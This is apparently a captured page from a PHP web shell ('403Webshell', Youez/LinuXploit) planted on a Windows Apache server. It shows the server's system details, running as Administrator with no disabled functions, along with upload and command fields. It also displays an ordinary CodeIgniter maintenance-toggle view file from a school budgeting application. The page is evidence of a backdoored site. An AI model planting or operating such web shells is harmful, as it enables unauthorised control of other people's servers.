403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/wamp/www/sipapbd_2017_sekolah/application/modules/maintenance/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/wamp/www/sipapbd_2017_sekolah/application/modules/maintenance/views/maintenance_view.php
<fieldset>
  <legend><?php echo $breadcrumbs;?></legend>
</fieldset>

<form class="form" id='frm'  action="<?php echo base_url().$modul;?>/proses" method="POST">
  <p>
    <input id="maintenance" type="checkbox" >
  </p>
</form>

<script>
var $frm = $('#frm'), last_state = <?php echo isset($last_state) && $last_state == 1? 'true' : 'false' ?>;

$(document).ready(function() {
  $('#maintenance').bootstrapSwitch({
      state: last_state,
      onSwitchChange: function(event, state) {
        event.preventDefault();
        App.maintenance(state);
        App.simpan();
      }
  });
  App.maintenance(last_state);
})

var model_maintenance = function (){
  var self = this;
  self.maintenance = ko.observable();
}

var App = new model_maintenance();

App.simpan = function(){
  var data = JSON.parse(ko.toJSON(App));
  $.ajax({
    url: $frm.attr('action'),
    type: 'post',
    dataType: 'json',
    data: data,
    success: function(res, xhr){
      if (res.isSuccess) show_info(res.message, 'Sukses');
      else show_error(res.message, 'Gagal');
    },
  });
}

ko.applyBindings(App);
</script>
<link href="<?php echo base_url()?>assets/css/bootstrap-switch.css" rel="stylesheet" media="screen">
<script type="text/javascript" src="<?php echo base_url()?>assets/script/bootstrap-switch.min.js"></script>

Youez - 2016 - github.com/yon3zu
LinuXploit